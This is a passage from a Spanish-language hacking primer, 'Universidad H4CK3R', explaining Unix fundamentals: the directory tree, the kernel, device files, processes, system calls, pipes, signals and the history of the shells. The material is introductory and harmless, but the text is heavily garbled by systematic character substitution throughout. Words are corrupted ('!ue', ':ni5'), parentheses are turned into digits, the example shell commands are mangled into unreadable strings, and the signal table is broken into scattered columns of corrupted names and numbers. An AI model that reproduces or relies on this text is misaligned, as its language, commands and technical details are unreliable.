distribuciones diferentes del sistema operativo de cdigo abierto, cada uno con su propia
idiosincrasia.
7Por !u$ tanto alboroto8 2n los a)os A', cuando se desarrollaron muchas distribuciones
comerciales, cada fabricante creo sus propios estndares y 4arrimo el ascua a su
sardina4. /os :ni5 se volvieron tan diferentes entre si, !ue al final no eran interoperables.
:na red heterog$nea era imposible entonces, y ahora el estndar de :ni5 intenta acabar
con esas diferencias.
6as entraLas de la &estia
6odas las recomendaciones !ue hemos hecho en el captulo anterior tambi$n se aplican a
este 0y a todos los posteriores F 3o repetiremos varias veces, casi como un lavado de
cerebro ...1. :n pirata !ue se precie debe saber acerca de los sistemas :ni5, incluso
odindolo. 2s posible !ue despu$s de leer este captulo, anteriores detractores cambien
de religin y comiencen a re#ar en la iglesia de Sen 6hompson. Pero lo crean o no, los
sistemas :ni5 ser sin duda parte de su vida ciberactivista.
= 5structura
/a familia de sistemas operativos
:ni5 puede, para fines didcticos,
dividirse en partes clasificadas por
su funcin= Sernel 0central o
n%cleo1, shell 0concha o cascara1
y los programas de usuario
0aplicaciones y herramientas1.
.omo este enfo!ue es muy similar
a la definicin de sistema
operativo, se puede usar un
es!uema simplificado de capas
para demostrarlo.
2stos tres componentes
principales hacen uso de una
estructura fsica universal llamada
sistema de archivos. "ntes de
entrar en detalles sobre el CshellD,
las llamadas al sistema, los
procesos y el Sernel, vamos a bucear un poco en esta infraestructura en la !ue se basan
todos los :ni5 . Son necesarios algunos fundamentos y comandos de shell para seguirlo.
76
ikimilikiliklik Universidad H4CK3R
= ;istema de arc8i1os
;icrosoft OindoPs tiene una estructura bsica de directorios. 2sto, e5iste como
consecuencia de la estructuracin del sistema, no como causa. /os archivos de sistema
relevantes estn libremente organi#ados en el directorio OindoPs 0o Oin-61 y
subdirectorios dentro de $l. 3ncluso partes de Sernel se organi#an en archivos separados,
me#clados con cientos de archivos distintos en .LOl-(<OS. 2l gran agente aglutinador
del sistema operativo microsoftiano es el CNegistro del SistemaD.
2l :ni5, en cambio, se estructuran desde el sistema de archivos. .ual!uier cosa !ue
pueda ser manipulada en el sistema es tratada como un archivo. 2sto incluye los
dispositivos de hardPare 0como la tareta de sonido o puerto de impresora1, procesos en
eecucin, y por supuesto, los archivos comunes. Puede, por eemplo, copiar un ;P9
dentro del archivo correspondiente a su tareta de sonido y, como por arte de magia, la
m%sica sonar por los altavoces. /os archivos relacionados con los procesos en eecucin
se pueden utili#ar para controlarlos. /eer estos archivos por lo general nos permite el
acceso a la informacin sobre el proceso y, a grandes rasgos, podemos escribir en ellos
para mandar mensaes al proceso.
-o hay ninguna indicacin en el estndar P<S3K con respecto a la estructura err!uica
de directorios_ los sistemas de archivos :ni5 siguen un estndar tcito y no oficial. Hay
varios documentos t$cnicos y propuestas sobre el tema, las -ormas de Zerar!ua de
"rchivos 0PPP.pathname.comLMHS1, pero ninguna distribucin comercial de :ni5 est
obligada a seguirlas. /a %nica e5cepcin es el sistema T-:L/inu5, !ue tiene unas normas
especficas y rgidas, para eso es el /inu5 Standard +ase 0PPP.linu5base.org1.
3ncluso sin un documento oficial, e5iste un consenso en el directorio de distribucin en un
sistema :ni5. " e5cepcin de diferencias muy sutiles, el 4rbol4 de directorios de cual!uier
distribucin :ni5 se parece. /a erar!ua de la gua es en realidad un superconunto de la
unin o las estructuras principales de las distribuciones ms comunes. 2n algunos
sistemas, por eemplo, no tenemos CLprocD, en otros, el directorio CLdevD e5iste, pero tiene
otro nombre y la organi#acin debao de CLlibD, CLusrD y CLvarD tambi$n vara entre los
diferentes tipos de :ni5. Sin embargo, el es!ueleto es bsicamente el mismo, y es muy
fcil de descubrir y entender las diferencias de un sistema en particular.
2l directorio principal, !ue contiene todos los dems, se llama Cra#D, a pesar de estar en
la parte superior de la estructura. 2st representado por un signo de barra 0L1 F !ue no
debe confundirse con una barra invertida 0d1 utili#adas en OindoPs F y cual!uier archivo o
directorio es referenciado a partir de ella. Por eemplo, el directorio CtmpD debe ser
representado como CLtmpD. 2ncontraramos cual!uier archivo en el directorio CLtmpD si le
damos la direccin completa= CLtmpLarchivoD.
.ada directorio tiene una funcin especfica=
77
ikimilikiliklik Universidad H4CK3R
- 8+in= herramientas necesarias para operar el sistema_
- 8s+in= herramientas de administracin necesarias para el
funcionamiento y mantenimiento del sistema F la 4s4 es de
superusuario_
- 8dev= cada dispositivo hardPare instalado tiene un archivo en
este directorio_
- 8etc= la configuracin de los programas de archivos de sistema
estn en este directorio_
- 8&ome: cada usuario registrado en el sistema tiene un directorio
con su nombre en Lhome F esta es la %nica el parte del disco !ue
la mayora de usuarios estn autori#ados a utili#ar para guardar
sus archivos_
- 8li+: las funciones de la biblioteca del sistema se encuentra
a!u, serian los archivos C(//4 de :ni5_
- 8mnt: directorio utili#ado para conectarse a vol%menes en otros
e!uipos, para acceder a la red o para acceder a dispositivos
e5trables, como dis!uetes, cintas y discos compactos_
- 8proc: archivo !ue representan los procesos en eecucin_
- 8tmp: espacio para los archivos temporales generados por
programas o por los propios usuarios_
- 8usr: las aplicaciones de usuario se instalan en Lusr_
- 8var: informacin de las variables del sistema 0cola de impresin
de la impresora, bu#ones de correo, cach$ de 3nternet, registro
de sistema, etc1 ..
2l directorio CLusrD es muy importante. Prcticamente cual!uier
cosa !ue los usuarios utilicen, esta en el. Pero 7por !u$ e5iste
este directorio8 7-o sera ms fcil de poner todo en CLbinD.
-ormalmente, el CLbinD y CLsbinD contienen slo los programas !ue
sean estrictamente necesarios para !ue el e!uipo funcione y sea
capa# de arrancar o ser reparado. 2n CLusrD se guardan el resto
de los programas de usuario 0herramientas, editores de te5to,
navegadores de 3nternet y los entornos de escritorio1, la
documentacin del sistema y los archivos compartidos. 2l
directorio CLusrD puede estar en la misma particin !ue CLbinD y
CL sbinD. Pero tambi$n puede estar en otra particin, !ue slo sea
accesible por el sistema despu$s de !ue se inicie :ni5.
78
ikimilikiliklik Universidad H4CK3R
2l directorio CLusrD puede estar en una m!uina central en la red, !ue e5porta un directorio
CLusrD com%n a todas las estaciones :ni5. .on esto, el administrador instala los programas
una sola ve# en lugar de hacer3o en cada uno de los e!uipos :ni5 bao su supervisin.
2l directorio CLusrD es casi un 4miniFroot4 contiene su propio CLbinD, CLsbinD, CLlibD, etc... !ue
son, respectivamente, los directorios de los programas de uso com%n, las herramientas
de superusuario, funciones de la biblioteca de los programas en CLusrD y archivos de
configuracin de los programas en CLusrD. "dems, tiene directorios !ue slo se
encuentran en el.
2l par, 4LusrLinclude4 y 4LusrLsrc4, se presta a la compilacin de programas a partir del
cdigo fuente 02l directorio 4LusrLinclude4 almacena los encabe#ados con los prototipos de las funciones de .
presentes en la biblioteca 4Llib4 y 4LusrLlib4, mientras !ue 4LusrLsrc4 consigue su propio cdigo fuente para ser compilado1.
2l 4LusrLdoc4 almacena una serie variable de documentos sobre el sistema y los
programas instalados. 2l 4LusrLman4 guarda la documentacin oficial del sistema, y las
llamadas a las paginas CmanD. 2l 4LusrLshare4 tiene todo tipo de archivos 0imgenes,
sonidos, austes1 !ue son compartidos por todos los programas y los usuarios.
Por %ltimo, el directorio 4LusrLlocal4 es un 4miniLusr4. 6iene una estructura de directorios
prcticamente id$ntica a 4Lusr4. Sirve para !ue se puedan instalar programas locales en
e!uipos !ue eecutan 4Lusr4 en otra m!uina en la red. "un!ue 4Lusr4 pueda ser una
4unidad de red4, el 4LusrLlocal4 todava se almacena localmente en el disco duro.
6rastea en un sistema :ni5 antes de continuar. -o te preocupes F si no eres superusuario
y utili#as slo los comandos no destructivo como CcdD, ClsD y CcatD, no hay posibilidad de
echar a perder nada. (espu$s de hacerlo, vete a casa, arr$glate y d$alo, al igual !ue el
captulo anterior. < ms bien, tira este libro y coe C.rimen y castigoD de (ostoievski. <
vete a tocar la flauta. Nelese y no pienses en :ni5 hasta ma)ana.
5l meollo de la cuesti/n
2l kernel crea procesos cada ve# !ue le pedimos al sistema operativo eecutar un
programa. "dems de la creacin, el kernel se encarga de !ue trabaen untos y no se
destruyan entre s, y tambi$n administra los recursos 0memoria, .P:, perif$ricos1 !ue
utili#a cada proceso.
.ompare el diagrama de la pgina siguiente con el del captulo anterior. :no puede ver
claramente !ue la aplicacin :ni5 se diferencia radicalmente de su e!uivalente de
OindoPs. Si bien el sistema de ;icrosoft utili#a el concepto de microkernel F slo las
caractersticas bsicas estn en el kernel y los subsistemas se eecutan en modo de
usuario F en :ni5, todo est incrustado en un kernel monoltico. 3ncluso en las
implementaciones cuyo n%cleo es modular, los mdulos tambi$n se eecutan en modo
kernel. Slo los procesos, programas y servicios 0daemons1 se eecutan en espacio de
usuario.
79
ikimilikiliklik Universidad H4CK3R
/os procesos se comunican con el kernel a trav$s de llamadas al sistema o las 4system
calls4 0la 43nterfa# de Servicio4!ue se muestra en el diagrama1. /as 4system calls4 pueden
interactuar con los componentes del sistema operativo a trav$s del sistema de archivos
0no se olvide, !ue en :ni5 todo es un archivo1. Por ello, el kernel controla el hardPare, los
archivos de usuario y los propios procesos, !ue son obeto de un apla#amiento o
CschedulingD de programacin para establecer prioridades, el orden de eecucin y la
interaccin entre ellos. (ebido a !ue el hardPare tambi$n es maneado por el sistema de
archivos, el n%cleo de los sistemas :ni5 no es ms !ue un supergerenciador inteligente
de archivos.
80
ikimilikiliklik Universidad H4CK3R
2n un e5amen menos simplificado, vemos !ue los programas acceden a las funciones
disponibles en las bibliotecas del sistema. Parecido a las (// del sistema OindoPs, las
bibliotecas compartidas 0shared obects o algo as1 de los sistemas :ni5 permiten !ue
varios programas compartan las mismas caractersticas. /a diferencia es la mayor opcin
de eleccin. :ni5 es mucho ms modular !ue cual!uier otro. 2sto significa !ue el
programador tiene muchas opciones de bibliotecas de plantillas en las !ue basarse, para
hacer sus programas
:n eemplo es la interfa# grfica. 2n OindoPs se encuentra en una sola biblioteca
0T(3.(//1. :ni5, tiene diferentes conuntos de herramientas grficas, todos ellos
4acoplables4 en el servidor K. 2l ms famoso es el C;otifD, pero hay muchos otros. como
T6S, Et y 6k.
*a sea directamente o a trav$s de las bibliotecas, los procesos emiten Csystem callsD
para el kernel, pidiendo algo. 2n el kernel hay rutinas para controlar estos procesos
0programacin, comunicacin y memoria1 y para acceder a los recursos del sistema a
trav$s del sistema de archivos.
= Jis7ositi1os
/os dispositivos del sistema en CLdevD son ficheros especiales !ue se comunican con el
hardPare. ;eor dicho, son representaciones 0imgenes1 de los dispositivos en formato de
archivo. 6odo lo dicho sobre Cinterrupt handlersD en el captulo sobre OindoPs, vale para
:ni5 tambi$n. Pero a diferencia de OindoPs, los sistemas :ni5 dependen muy poco de la
+3<S en sistemas basados en hardPare de P.. 6odas las funciones originalmente a
cargo de la +3<S 0e5cepto para el arran!ue de la m!uina1 se implementan en el n%cleo.
<tras plataformas de hardPare no tienen ni si!uiera algo parecido a una +3<S, y por lo
tanto, implementar estas funciones en el n%cleo es obligatorio.
7Necuerdas cmo se acceda a los dispositivos en OindoPs a trav$s de Cdevice driversD y
V5(8 2n :ni5, por supuesto, tambi$n hay Cdevice driversD. Pero a diferencia de OindoPs,
los controladores son mdulos del kernel. 2stos mdulos pueden ser compilados en el
propio kernel monoltico, o cargarse en la memoria bao demanda, compilados como si
fueran autnomos. "h reside la diferencia radical entre el enfo!ue de microkernel de
OindoPs y el kernel monoltico de :ni5. /os archivos de dispositivos presentes en CLdevD
se comunican con los Cdevice driversD F y por tanto con el propio n%cleo especfico, !ue es
responsable de controlar el hardPare para el !ue fue escrito el driver.
/os nombres de los dispositivos se organi#an de una manera sencilla. Por lo general, un
grupo de dos a cuatro letras, y, opcionalmente, n%meros. Por eemplo, el primer disco
duro 0o cual!uier otro dispositivo 3(21 instalado en un sistema /inu5 es CLdevLhdaD, el
segundo es CLdevLhdbD. 2n Solaris, los mismos discos estn representados por los
archivos CLdevLdskLc't'd'D y CLdevLdskLc't1d'D. Hay tres tipos de dispositivos= %loque*
carDcter + la interface de red.
/os dispositivos orientados al carDcter #c3aracter devices o* c3ar devices& son a los !ue
se puede acceder como un archivo normal. :sted puede escribir en ellos o leer de ellos,
un byte a la ve#. (e hecho, los controladores !ue implementan estos dispositivos aceptan
ser manipulados por las funciones primitivas como open 01, close 01, read 01 y Prite 01.
81
ikimilikiliklik Universidad H4CK3R
"lgunos eemplos son los puertos serie, teclado y ratn.
2s evidente !ue hay diferencias entre los dispositivos de caracteres y un archivo com%n.
Si crea un archivo com%n y dentro de el, est escrita la frase 4Hey +eavis, soy una cadena
de :ni5G4, :sted puede recuperar esta frase cada ve# !ue se lee el archivo. :n Cchar
deviceD, por el contrario, es slo un canal de comunicacin entre el espacio de usuario y
un dispositivo. /o !u$ es enviado a trav$s de CLdevD es maneado por el hardPare y no se
puede recuperar. .uando se intenta leer el dispositivo, lo !ue se obtiene son los datos
!ue est enviando el sistema de archivos en ese momento, no registrados anteriormente.
" los dispositivos orientados a %loque #%loc/ devices&, por el contrario, slo se puede
acceder a trav$s de grandes pa!uetes de informacin. Por lo general, contienen
componentes en los !ue se pueden guardar sistemas de archivos, discos duros, unidades
de dis!uete y .(FN<;s. " un disco duro en la mayora de los sistemas :ni5, slo se
puede acceder en blo!ues de 1 kilobyte. Si usted necesita grabar, por eemplo, slo 1&A
bytes en el disco, se utili#ar un blo!ue de 1 Sbyte 01'&? bytes1. /os Cblock devicesD
tienen, por eso mismo, una velocidad de transferencia 0throughput1 mucho mayor !ue los
dispositivos de caracter. 6ambi$n, para transferir grandes cantidades de datos, puede
contar con un rea de transferencia au5iliar 0buffer1 de tipo cache, !ue aumenta, aun mas,
el rendimiento.
2l %ltimo tipo de dispositivo en CLdevD se llama interface de red. 2n los sistemas /inu5,
estn representados en CLdevD por Ceth'D para la primera tareta, Ceth1D para la segunda y
as sucesivamente. 2n un sistema HPF:K, !ue utili#a taretas de 3ntel, las interfaces se
llama Citl'D, Citl1D, etc. Hay dispositivos de red !ue son puramente softPare. (os eemplos
son CloopbackD 0interface CloD1, !ue dirige el trfico de red a su propia m!uina 0direccin
1&@.'.'.'1, y los sockets de comunicacin del servidor de K OindoP.
/as interfaces de red son, de hecho, dispositivos orientados a carDcter* pero
especiali#ados. 2n algunas aplicaciones, los dispositivos S.S3 son considerados como un
cuarto tipo de dispositivo, aun!ue en la prctica, son dispositivos de blo!ue.
= Procesos Mno, esto no es una con1ersaci/n entre a&ogadosN
2n un sistema :ni5, los procesos son las entidades ms importantes. "dems de los
programas de usuario, todos los servicios y servidores !ue se eecutan en un e!uipo con
:ni5, se basan en uno o ms procesos. :na m!uina de :ni5 puede contener, entre otras
cosas, un servidor Oeb, una base de datos, un servidor de correo electrnico, una radio
onFline. .ada uno de estos servicios se llama CdaemonsD, y desencadena uno o ms
procesos identificados por un n%mero %nico en todo el sistema. .ada proceso tiene su
n%mero de identificacin %nico. :n servidor Oeb, por eemplo, tiene varios procesos
simplemente para mantenerse en el aire, y cada cone5in desde un navegador Peb a
cual!uier pgina de ese servidor crea otro proceso. 2s fcil ver !ue con este m$todo hay
sistemas :ni5 con miles de procesos simultneos.
2l primer proceso generado por cual!uier programa se llama padre. .ada uno de los
procesos generados por el padre se llama 3ijo. (ebido a !ue hay varios niveles en los
procesos, podemos decir !ue un proceso es siempre hio de otro ms primitivo y el mismo
puede ser padre de otros procesos menores.
82
ikimilikiliklik Universidad H4CK3R
Hay dos formas de iniciar un proceso. /a primera es trivial= el usuario enva un CshellD de
comandos del sistema y transforma este comando en un proceso. Pero e5iste la
posibilidad 0o ms bien necesidad1 de iniciar procesos de forma automtica.
2n el inicio de :ni5, el kernel, al cargarse, trata de iniciar el primer proceso, CinitD. \l es el
padre de todos los dems procesos generados a partir de entonces. CinitD completa el
procedimiento de arran!ue cargando la configuracin del sistema e iniciando todos los
CdaemonsD referentes a los servicios !ue debe ofrecer la m!uina.
"lgunos de estos CdaemonsD son servicios de red tales como el correo electrnico 0S;6P1
y Oeb 0H66P1. 2stos servicios 4escuchan4 a la red en espera de solicitudes de otros
e!uipos. Por eemplo, el servicio H66P espera !ue ordenadores con navegadores de
3nternet se conecten a $l. Si se establece la cone5in, el CdaemonD correspondiente, enva
al navegador del otro ordenador la pgina solicitada.
2stos servicios esperan cone5iones de forma continua, lo !ue significa !ue consumen
recursos de la m!uina, incluso cuando est inactiva. Para evitar esto, los servicios
menos re!ueridos se pueden agrupar en un superservidor llamado CinetdD, !ue espera las
cone5iones a diferentes servicios. Si uno de estos servicios se solicita, CinetdD carga el
CdaemonD necesario. .uando finali#a la cone5in, CinetdD descarga el CdaemonD de la
memoria.
/os procesos se comunican entre s a
trav$s de signos y envan las solicitudes al
sistema operativo a trav$s de llamadas al
sistema o system ca3ls. Hay varias llamadas
y se)ales estandari#adas por P<S3K.
= APodras 8acerme un fa1orC
Siempre !ue un proceso necesita algo de la computadora, enva una llamada de sistema
al kernel. /as tareas !ue las aplicaciones piden al kernel pueden ser_ tener acceso a los
perif$ricos, solicitud de la .P: para 4hacer una cuenta4 o solicitar ms memoria. Hay
docenas de system ca3ls. /as mas bsicas son CforkD, Ce5ecD y CPaitD. 2l CforkD crea un
proceso hio !ue es un clon de un proceso padre= tiene las mismas caractersticas, trabaa
con los mismos archivos !ue ya estn abiertos 0aun!ue podra abrir otras nuevas para si1
y, lo mas importante, pertenece al mismo programa !ue ha generado el proceso padre.
/as %nicas diferencias son el n%mero de identificacin de cada proceso y el n%mero de
identificacin de los padres.
/a llamada Ce5ecD transfiere el control de la .P: a otro proceso o programa. /os archivos
!ue se abrieron para el programa original se redirigen a los procesos generados por el
nuevo programa. :sando las llamadas en ese orden 0CforkD y despu$s Ce5ecD1, un proceso
crea un hio y le transfiere el control. .uando el proceso hio completa su tarea, enva los
resultados del proceso al padre.
83
ikimilikiliklik Universidad H4CK3R
2l par CforkUe5ecD, sin embargo, no impide !ue el proceso padre continu$ funcionando.
Para !ue el proceso padre entre en hibernacin y espere el final del proceso hio, se
utili#a la llamada al sistema CPaitD. ;ientras el proceso padre est durmiendo, no entra en
el Ctime sharingD de la m!uina , por lo !ue ahorra recursos. 2l proceso padre no volver a
los ciclos de procesamiento de la m!uina hasta !ue el proceso hio ya no e5ista o, en
erga t$cnica, 4muera4.
:n eemplo prctico es la lnea de comandos o shell. 3magine !ue el usuario escribe un
comando, el shell se congela, y slo se libera despu$s de !ue el comando se termina. 2n
este caso, el shell emiti una llamada CPaitD a la orden del usuario. Si por el contrario el
usuario escribe un comando, y aun!ue el programa est$ en funcionamiento, el indicador
aparece inmediatamente, es evidencia de !ue el shell no hi#o uso de la llamada al
sistema CPaitD.
= 6a comunicaci/n entre 7rocesos
Hay casos en !ue, en lugar de pedir algo al sistema operativo, los procesos necesitan
comunicarse entre s. :na forma es la comunicacin entre procesos padre e hio. 2l
proceso padre puede, por eemplo, hacer una llamada de sistema 4ptrace4 para rastrear
posibles errores de programacin en el proceso hio.
<tro eemplo de la comunicacin entre procesos son los tubos o pipes. /os tubos son una
manera para !ue el propio usuario determine la relacin entre la salida de un proceso y la
entrada en otro. 2sto se hace en la lnea de comandos, con el carcter CiD 0!ue, no por
casualidad, se llama el tubo ...1. 6enga en cuenta el siguiente comando=
6 's +e 7 .re' netsc#'e
2ste comando toma la salida del primer programa #ps !e& y la pone como entrada del
segundo programa #grep netscape&. 6enga en cuenta !ue los conductos tienen una
peculiaridad= solo se pueden relacionar procesos del mismo padre. 2n el caso anterior, los
comandos CpsD y CgrepD son ChermanosD, hios del mismo shell.
:n tercer m$todo para !ue los procesos se comuni!uen, es a trav$s de 3P.;Ms o CInter
2rocess 1o((unication <essage Facilities. /os 3P.;Ms no son ms !ue colas. Hay
procesos transmisores, !ue estn autori#ados para enviar mensaes a la cola, y procesos
receptores !ue obviamente los retiran. :n eemplo de implementacin de 3P.;Ms, son las
colas de impresin. ;uchos programas y usuarios pueden escribir en la cola de
impresin, y es posible !ue varias impresoras 0y sus device drivers1 4tiren4 de los
documentos para imprimirlos.
= 6as seLales - semFforos
/os m$todos de comunicacin entre procesos ms primitivos, sin embargo, son se)ales.
Son mensaes muy simples !ue enva un proceso a otro. Slo los procesos activos
pueden enviar se)ales. (ebido a !ue slo puede estar activo un proceso en un momento
dado F a menos !ue el sistema tenga varios procesadores X una se)al, despertara el
proceso de recepcin, !ue obviamente se suspende.
.uando un proceso suspendido vuelve a activarse, el kernel comprueba si hay alguna
84
ikimilikiliklik Universidad H4CK3R
se)al para $l. Si es as, el sistema puede tomar una de tres acciones= ignorar la se)al,
entregarla al proceso de destino o capturar3a. .uando una se)al se captura, el sistema
reali#a una de sus Crutinas de tratamiento de se)alD, !ue vara en funcin de su
naturale#a.
<riginalmente, se consideraron && signos. Seg%n la norma actual P<S3K.1, hay 91 signos
diferentes, cada uno re!uiere una accin especfica en el proceso de destino. 2llos son=
-W -<;+N2 S3T-3M3."(<
1
&
9
?
I
J
@
A
B
1'
11
1&
19
1?
1I
1J
1@
1A
1B
&'
&1
&&
&9
&?
&I
&J
&@
&A
&B
9'
91
S3TH:P
S3T3-6
S3TE:l6
S3T3//
S3T6N"Ph
S3T3<6LS3T"+N6
S3T2;6 h
S3TMP2
S3TS3//
S3T+:S h
S3TS2TV
S3TS*S h
S3TP3P2
S3T"/N;
S3T62N;
S3T:SN1
S3T:SN&
S3T./(
S3TPON h
S3TO3-.H h
S3T:NT h
S3T3< h
S3TS6<P
S3T6S6P
S3T.<-6
S3T663-
S3T66<:6
S3TV6"/N;h
S3TPN<M h
S3TK.P: h
S3TKMS,h
.ierra el proceso por la muerte del proceso padre
Proceso interrumpido por el teclado
.ierra el proceso de descarga y la memoria
2stablece !ue el proceso ha reali#ado una operacin no vlida
6raceLbreakpoint trap F para rastreamiento de bugs 0System V1
"bortar el proceso
2;66rap 0System V1
25cepcin 0error1 en coma flotante
6ermina 0mata1 el proceso F no puede ser ignorada
"cceso a la memoria defectuosa 0System V1
Neferencia no vlida a 0fallo de segmentacin1 memoria
Sistema de llamada con el argumento mal 0System V1
.onducto roto= no hay un proceso !ue recibe los datos
(espertador originario de comandos . 4alarma4
6ermina el proceso F puede ser ignorada
Se)al definida por el usuario
Se)al definida por el usuario
4;uerte de un proceso ChioD
3nterrupcin del suministro el$ctrico 0System V1
.ambiar el tama)o de la ventana 0+S( ?.9 y Sun1
:na condicin urgente en el #calo 0+S( ?.&1
3L< es posible ahora 0?.& +S(1
Proceso de congelacin
(etener escrito en 66*
;anten congelados
<bt$n datos del terminal a proceso en segundo plano
Proceso en segundo plano enva los datos a la terminal
Nelo Virtual 0+S( ?.&1
Se)al 46imer Proftling caducado4 0System V1
6iempo de .P: e5cedido 0?.& +S(1
6ama)o del archivo e5cedido 0?.& +S(1
/a tabla asume las se)ales en P<S3K.1 en ar!uitectura N3S. ;3PS. "r!uitecturas "lpha,
Sparc, i9AJ 0P.1 y PoPerP. tienen unos valores diferentes. Por eemplo, para i9AJ y
Sparc la se)al 1J es S3TS6SM/6, Cfallo en el coprocesadorD. /os signos marcados con un
asterisco 0h1 son slo parte de la implementacin T-:L/inu5 X no del estndar P<S3K.1, y
tienen su origen marcado entre par$ntesis. .onsulte Cman @ signalsD en el sistema para
obtener informacin ms detallada o visite el sitio 0PPP.uni5Fsystems.org1 para aprender
ms sobre el nuevo estndar P<S3K.&.
/as se)ales se intercambian entre los procesos en curso. Se puede for#ar manualmente
85
ikimilikiliklik Universidad H4CK3R
el envo de una se)al de shell con el comando CkillD. 2l nombre del comando no es
necesario, por!ue no se utili#a para enviar S3TS3// o S3T62N; 0es decir, matar el
proceso1. .ual!uier se)al puede ser enviada por el comando kill. 2emplo de uso=
6 %i!! +8 9:;<=
2ste comando enva la se)al B 0S3TS3//1 al proceso &@.I9J. .uando el n%mero se)al no
se especifica, el sistema asume el valor 1I.
"dems de los signos y mensaes sencillos, puedes decirle a un proceso !ue almacene
estructuras de datos mucho ms compleas. :tili#ando una porcin de memoria
denominada memoria compartida, los procesos activos pueden, a trav$s de llamadas al
sistema, almacenar datos para ser utili#ados ms tarde por otros procesos. Para evitar
!ue otros procesos cambien los datos antes de generar el proceso terminado, se utili#an
entidades llamadas se(Dforo, !ue blo!uean el acceso a esa ubicacin de memoria hasta
un comunicado.
-o es el propsito de este libro entrar en detalles tericos sobre el desarrollo de softPare,
llamadas al sistema y se)ales. Sin embargo, es su obligacin conocer3osG. Para obtener
ms informacin, vea el estndar P<S3K del Single :-3K Specification 0PPP.uni5F
systems.org1, es tambi$n un muy educativo elegir una distribucin :ni5 y buscar las
especificaciones del fabricante. :n buen sistema para esto es /inu5, por tener todo el
cdigo abierto al p%blico en general y por lo tanto no hay necesidad de pedir permiso o
pagar derechos a nadie para hacerlo. "dems, /inu5 se eecuta en P.s estndar F se
puede estudiar en su ordenador personal.
5n la 7la-a recogiendo me?illones
+ueno, es lo !ue me gustara estar haciendo ahora. Pero estamos a!u para ser
4hackers4, 7no8 2sto implica estar noches sin dormir, ser antisociales y pasar las
vacaciones encerrados tratando de entrar en alg%n sitio Peb...
+romas aparte, es el shell con el !ue el usuario le indica al kernel= 4<ye, abre un proceso
para mi programaD. Si tuvi$ramos !ue decrselo directamente, tendramos grandes
dificultades para comunicarnos con el kernel, por!ue no es muy inteligible. 2l shell, trabaa
como int$rprete entre el idioma !ue hablamos y el 4lenguae4 de la computadora.
"l principio de este captulo utili#amos algunos comandos para navegar por el sistema de
archivos. Pero el shell no es solo un int$rprete de comandos. 2ntre las caractersticas
ms importantes esta el encadenamiento de comandos, o tuberas 0piping1. Hace unas
pocas pginas, hemos visto !ue el encadenamiento de comandos es una forma de
comunicacin entre procesos y puede ser activado por el usuario a trav$s del carcter 4i4.
:sando varias tuberas, un comando de una sola lnea puede hacer !ue un archivo o un
peda#o de informacin sea procesada por varios programas de forma secuencial. /a
salida de un programa 4fluye a trav$s de la tubera y las corrientes4 hacia el pr5imo
programa. Por eemplo, consid$rese el siguiente comando=
6 !s 7 .re' / 7 sort +r 7 tee otfi!e 7 )c +>
2l comando 4ls4 /ista el contenido del directorio. 2n lugar de mostrarlo en la pantalla, el
86
ikimilikiliklik Universidad H4CK3R
tubo toma los datos de la salida de 4ls4 y los pone como datos de entrada en 4grep b4, !ue
filtra los nombres de archivo !ue contienen la letra 4b4. " continuacin, el comando CgrepD
hace lo mismo en 4sort Fr4, !ue ordena los nombres en orden descendente. /a salida de
CsortD se inserta en 4tee4, !ue divide los datos en dos como una cone5in en 6 o
4receptculo4. /a informacin contenida en CsortD se grabar en el archivo 4outfile4 y
ambos se pasan al comando 4Pc F14, !ue cuenta el n%mero de lneas. .omo resultado de
este comando, se ha impreso en la pantalla la cantidad de archivos !ue contengan la letra
b, y en el archivo 4outfile4 hemos registrado los nombres de estos archivos.
2ste eemplo demuestra la posibilidad de encadenar. :ni5 fue dise)ado desde el principio
como un sistema !ue tuviese herramientas pe!ue)as, pero de gran alcance y ultra
especiali#adas. 2stas herramientas se pueden combinar para formar una herramienta
ms grande y ms complea !ue realice una determinada tarea. (e este modo, se evita el
4reinventar la rueda4 por!ue el uso de blo!ues de construccin bsicos F como un /ego
0tm1 F reaprovecha el trabao ya hecho. 2ste punto de vista difiere radicalmente de la
4forma en !ue OindoPs4 hace las cosas= programas grandes !ue cumplen con la mayora
de las funciones !ue el usuario pueda necesitar. 2n :ni5, menos es ms.
= 4i colecci/n de conc8as
Hay varios shells disponibles para el usuario. .ada implementacin :ni5 adopta la ms
adecuada seg%n el fabricante o seg%n el destino !ue deba darse al sistema. Se
distribuyen normalmente tres shells de :ni5 comerciales= C+ourneD, CSornD y C. ShellD.
;s recientemente, los sistemas tambi$n incluyen la versin de T-: de la Shell +ourne,
llamado C+ourne "gain ShellD o C+ashD. 6odos ellos soportan los procesos de
manipulacin, redireccin y tuberas, caractersticas comunes en un sistema :ni5. Pero,
obviamente, cada uno tiene sus peculiaridades.
(esarrollado en 1B@I por S. N. +ourne, el Shell de +ourne fue de los primeros !ue se
aplicaron y sirve como una referencia a los !ue vinieron despu$s. Simplifica en gran
medida el funcionamiento de :ni5, !ue hasta entonces se basaba en un shell muy
primitivo. Pero era muy simple, aun!ue por eso mismo es, hasta hoy, el ms pe!ue)o en
tama)o y el ms rpido.
/a evolucin del C+ourne ShellD, el C. ShellD fue desarrollado por el e5 profesor +ill Zoy. 2l
C. ShellD implemento el historial de comandos 0si ya se ha escrito, no es necesario
teclearlo de nuevo, basta con mirar en la lista1, alias 0permite asignar apodos cortos a
largos comandos con varias tuberas1 y control de procesos en primer y segundo plano.
Pero la mayor caracterstica de C. ShellD es la sinta5is de comandos, muy similar a la de
., facilitando enormemente la creacin de scripts de shell. Necientemente, se ha
desarrollado el C6. ShellD o C6urbo . ShellD, con meora de la interactividad en la reedicin
de comandos.
:n hbrido de las dos anteriores fue el shell CSornD, desarrollado por (avid Sorn de "6[6.
6rata de ser una alternativa coherente, combinando las caractersticas positivas de ambos
shells y eliminando las conflictivas.
C+ashD es la reimplementacin del proyecto T-: para el Shell +ourne y tiene varias
meoras en la reedicin de la lnea de comandos, mientras !ue conserva las mismas
87
ikimilikiliklik Universidad H4CK3R
caractersticas !ue su predecesor con respecto a los scripts.
Hablamos varias veces de los CscriptsD de shell en los %ltimos prrafos. Pero 7!u$ es eso8
= ;ecuencias de comandos
2l shell es ante todo un int$rprete de comandos interactivo !ue responde a los estmulos
por parte del usuario, pero tambi$n permite crear un archivo con una lista de comandos
!ue se eecutan de forma secuencial. .on un poco de prctica, es posible convertir estas
4listas4 de comandos, en programas !ue reali#an tareas muy compleas. :n programador
e5perimentado puede implementar con CscriptsD de shell cual!uier servicio en una
m!uina :ni5, incluso con acceso de bao nivel al hardPare, sin necesidad de conocer .
o 2nsamblador.
Necomendamos encarecidamente !ue el lector profundice en este tema. :n buen hacker
debe moverse con soltura entre los CscriptsD de shell de :ni5. 3nternet est lleno de sitios
